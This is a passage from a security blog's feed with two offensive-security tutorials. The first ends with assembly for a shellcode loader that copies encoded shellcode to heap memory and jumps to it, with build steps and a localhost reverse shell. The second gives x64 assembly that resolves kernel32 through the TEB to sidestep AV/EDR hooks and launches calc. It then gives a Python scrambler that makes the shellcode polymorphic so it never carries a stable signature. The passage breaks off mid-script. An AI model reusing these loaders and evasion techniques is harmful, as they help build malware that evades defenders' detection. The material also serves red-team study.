<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
	
<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
	
<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; save for later</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
	
<span class="nl">chunk_reader:</span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>
<span class="nf">inc</span> <span class="nb">rsi</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
<span class="nf">jz</span> <span class="nv">final</span>
<span class="nf">inc</span> <span class="nb">rdx</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>
</code></pre></div></div>

<p>For now, we have to compile this into a PE executable to run it as it’s not ready to be compiled into shellcode just yet.  Soon though :)  Here’s how you can accomplish that.  I use the ld.exe linker on windows.  You can do this on Linux too if you like.  You’ll want to download mingw64 first too of course.  You can download the exact version of mingw64 I use here:</p>

<p><a href="https://github.com/brechtsanders/winlibs_mingw/releases/download/14.2.0posix-19.1.1-12.0.0-ucrt-r2/winlibs-x86_64-posix-seh-gcc-14.2.0-llvm-19.1.1-mingw-w64ucrt-12.0.0-r2.zip">mingw64</a></p>

<p>the LD.exe linker executable will be located in the extracted BIN subdirectory: C:\mingw64\bin</p>

<p>Finally, here’s the command to compile our full source code above:
<strong>ld.exe -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib -o mem_mapper_pic.exe mem_mapper_pic.obj -lkernel32</strong></p>

<p>Run the above compiled .exe and you should get your reverse shell on 127.0.0.1 port 9001.  feel free to change the shellcode if you like.  I encoded mine but you can also use msfvenom to insert your own custom shellcode too!  Consider it a homework exercise 😺</p>

<p>Okay that’s a wrap for Part 1.  Stay tuned for Part 2, and as always thanks for reading and I hope this was helpful and insightful.</p>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><summary type="html"><![CDATA[Have you ever wondered how the popularized PIC (position independent code) actually works? I can answer that question alongside you with a resounding YES! You are exposed to PIC based shellcode constantly in today’s widely used C2 platforms. Then there’s the popular donut utility, which can convert .NET assemblies to PIC friendly shellcode. But what about from scratch, and I mean producing a template in C++ and then wrtiting x64 assembly code modeled after your C++ program? Also why should we? Well, while I admit I can’t find many tutorials for writing PIC from scratch, I found a plethora of definitions and explanations for what PIC accomplishes. I don’t want to reinvent the wheel too much here, so suffice to say, here are the advantages of using PIC in my mind. I’ll also include frustrations in the opinion of yours truly. 😸]]></summary></entry><entry><title type="html">Let’s Create Some Polymorphic PIC Shellcode!</title><link href="https://g3tsyst3m.com/shellcode/pic/Let's-Create-Some-Polymorphic-PIC-Shellcode!/" rel="alternate" type="text/html" title="Let’s Create Some Polymorphic PIC Shellcode!" /><published>2025-10-19T00:00:00+00:00</published><updated>2025-10-19T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/Let&apos;s%20Create%20Some%20Polymorphic%20PIC%20Shellcode!</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/Let&apos;s-Create-Some-Polymorphic-PIC-Shellcode!/"><![CDATA[<p>Alright I’ll admit I’m pretty pumped for today’s post 😸  Shellcode and x64 Assembly are one of my favorite topics to cover.  I don’t know why, but something about assembly and shellcode fascinates me.  I don’t know if it’s the fact that I feel extremely accomplished after producing custom shellcode/x64 assembly, or just because it’s so clean &amp; efficient, or it’s evasive capabilities?  I’m not sure.  But all of those factors certainly contribute to it’s appeal as far as I’m concerned.  In today’s post, we’re going to cover quite a bit of ground, so buckle up!  I’m going to go over various way to encode your shellcode, obfuscate it, turn it into the popular alpha-mix character format, and of course make it polymorphic.  What do I mean exactly when I say polymorphic?  Well, in short, I just mean the shellcode will be uniquely different every single time it’s built and ran.  In essence, it will never have a common file signature.</p>

<p>First off, let’s start with our x64 assembly code.  I’m doing things a bit differently this time around.  I’m going to first locate the Thread Environment Block, and <strong>THEN</strong> get the PEB, next we get kernel32 base address, and <strong>FINALLY</strong> execute the ever-ubiquitous windows calculator 😸  This is honestly good practice to get into folks.  You don’t want to always have to rely on msfvenom to generate your shellcode for you for your red team engagements.  Even when encoding msfvencom generated shellcode, EDR in memory scanners can still easily detect it.  It’s terribly predictable.  I HIGHLY encourage you to create your own shellcode.  With today’s post, we not only will be coding custom assembly/shellcode, but then encoding it and making it to where it’s always different.  You’ll see what I mean later on into the post, I promise!</p>

<p>Okay, without further ado, the x64 assembly code can be found below.  I tried not to be too lazy and add in comments to help where I thought they’d be useful.  One other important item of importance.  If you’ve ever used Avast for your AV/EDR solution, you’ll quickly realize Avast hooks into your program’s loaded modules.  Other EDR solutions do this as well, but Avast is the one that comes to my immediate memory.  In particular, it hooks into the initial loader prologue that we walk over in our shellcode to locate Kernel32’s base address.  So, if you use the old school method of locating kernel32, you’ll usually land on the hooked version instead.  Not so with the code below.  We literally search for a module with KERN in the name (unicode) and unless EDR / AV starts to name their hooked module KERNxx.dll, you’ll be in good shape and bypass the initial hook with the code below!</p>

<h2 id="the-calc-x64-assembly-code-with-custom-loading-of-kernel32-base-via-teb">The Calc x64 Assembly Code (with custom loading of kernel32 base via TEB)</h2>

<blockquote>
  <p><strong>calc.asm</strong></p>
</blockquote>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -o x64findkernel32.exe x64findkernel32.obj</span>

<span class="c1">; locates kernel32.dll searching the UNICODE string instead of the location in the list</span>
<span class="c1">; then loads calc.exe</span>

<span class="k">BITS</span> <span class="mi">64</span>
<span class="k">SECTION</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>             <span class="c1">; RCX = 0</span>

<span class="c1">; Access TEB base: GS segment points to TEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">gs</span><span class="p">:[</span><span class="mh">0x30</span><span class="p">]</span>
<span class="c1">; Access PEB from TEB (TEB + 0x60)</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span>

<span class="c1">;mov rax, [gs:rcx + 0x60] ; RAX = PEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">]</span>    <span class="c1">; RAX = PEB-&gt;Ldr (_PEB_LDR_DATA)</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>       <span class="c1">;PEB.Ldr-&gt;InMemOrderModuleList</span>

<span class="nl">checkit:</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span> 
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span> 

<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x004E00520045004B</span> <span class="c1">;UNICODE "K E R N" from KERNEL32.DLL</span>
<span class="nf">cmp</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rdx</span>
<span class="nf">jz</span> <span class="nv">foundit</span>
<span class="nf">jnz</span> <span class="nb">ch</span><span class="nv">eckit</span>

<span class="nl">foundit:</span>
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">]</span>

<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rbx</span>              <span class="c1">; mov kernel32.dll base addr into r8</span>
<span class="c1">;Code for parsing Export Address Table</span>
<span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="mh">0x3C</span><span class="p">]</span>           <span class="c1">; Get Kernel32 PE Signature (offset 0x3C) into EBX</span>
<span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; Add signature offset to kernel32 base. Store in RBX.</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add</span>
<span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="mh">0x88ff</span>
<span class="nf">shr</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mh">0x8</span>                  <span class="c1">; RCX = 0x88ff --&gt; 0x88</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="nb">rcx</span><span class="p">]</span>            <span class="c1">; EDX = [&amp;NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable</span>
<span class="nf">add</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RDX = kernel32.dll + RVA ExportTable = ExportTable Address</span>
<span class="nf">mov</span> <span class="nb">r10d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x14</span><span class="p">]</span>          <span class="c1">; Number of functions</span>
<span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Zero R11 before use</span>
<span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>          <span class="c1">; AddressOfNames RVA</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; AddressOfNames VMA</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">r10</span>                  <span class="c1">; Set loop counter</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x6F9C9A87BA9196A8</span>   <span class="c1">; WinExec 'encoded'</span>
<span class="nf">not</span> <span class="nb">rax</span>
<span class="nf">shl</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nf">shr</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rsp</span>	
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nl">kernel32findfunction:</span>             <span class="c1">; Loop over Export Address Table to find WinApi names</span>
    <span class="nf">jecxz</span> <span class="nv">FunctionNameNotFound</span>    <span class="c1">; Loop around this function until we find WinExec</span>
    <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span><span class="nb">ebx</span>                   <span class="c1">; Zero EBX for use</span>
    <span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; EBX = RVA for first AddressOfName</span>
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name</span>
    <span class="nf">dec</span> <span class="nb">rcx</span>                       <span class="c1">; Decrement our loop by one, this goes from Z to A</span>
    <span class="nf">mov</span> <span class="nv">r9</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rax</span><span class="p">]</span>                <span class="c1">; R9 = "our API"</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rbx</span><span class="p">],</span> <span class="nv">r9</span>                      <span class="c1">; Compare all bytes</span>
    <span class="nf">jz</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
	<span class="nf">jnz</span> <span class="nv">kernel32findfunction</span>
<span class="nl">FunctionNameNotFound:</span>
<span class="nf">int3</span>
<span class="nl">FunctionNameFound:</span>                <span class="c1">; Get function address from AddressOfFunctions</span>
   <span class="nf">inc</span> <span class="nb">ecx</span>                        <span class="c1">; increase counter by 1 to account for decrement in loop</span>
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x1c</span><span class="p">]</span>           <span class="c1">; AddressOfFunctions RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions</span>
   <span class="nf">mov</span> <span class="nb">r15d</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; Get the function RVA.</span>
   <span class="nf">add</span> <span class="nv">r15</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; Found the Winexec WinApi and all the while skipping ordinal lookup! w00t!</span>
   <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
   <span class="nf">push</span> <span class="nb">rax</span>
   <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x9A879AD19C939E9C</span>    <span class="c1">; encoded calc.exe ;)</span>
   <span class="nf">not</span> <span class="nb">rax</span>
   <span class="nf">push</span> <span class="nb">rax</span>
   <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsp</span>	                 
   <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>
   <span class="nf">inc</span> <span class="nb">rdx</span>
   <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
   <span class="nf">call</span> <span class="nv">r15</span>                       <span class="c1">; Call WinExec</span>
</code></pre></div></div>

<p>Okay, so now that we have our assembly code, we need to move on to the next step and scramble it.  This is part 1 of our polymorphic shellcode preparations.  The code below will insert benign assembly instructions throughout our assembly code where it will be completely unique each time it is compiled into shellcode.  Basically what I did was check for registers already in use and those that I determined weren’t in use would be the registers chosen for the scrambled assembly instruction code insertion.  For instance, here’s all the possible x64 register combinations we will search for and use:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">all_reg_variants</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">eax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">al</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ah</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ecx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ch</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">spl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bpl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">si</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">di</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15b</span><span class="sh">'</span><span class="p">],</span>
<span class="p">}</span>
</code></pre></div></div>

<p>and here’s all the possible instruction combinations I chose to use for this particular scrambler script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">single_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xor {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">mov {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">add {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">sub {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">cmp {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">test {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">imul {reg}, {reg}, 1</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shl {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shr {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">rol {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">ror {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">inc {reg}</span><span class="sh">"</span><span class="p">,</span>  <span class="c1"># Added inc
</span>    <span class="sh">"</span><span class="s">nop</span><span class="sh">"</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Now that you know how it works, let’s go ahead and run the full python script below:</p>

<h2 id="the-assembly-code-scrambler---polymorphic-prep-part-1">The Assembly Code Scrambler - Polymorphic prep part 1</h2>

<blockquote>
  <p><strong>asmobfuscator.py</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">random</span>

<span class="n">all_reg_variants</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">eax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">al</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ah</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ecx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ch</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">spl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bpl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">si</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sil</span><span class="sh">'</span><span class="p">],</span>
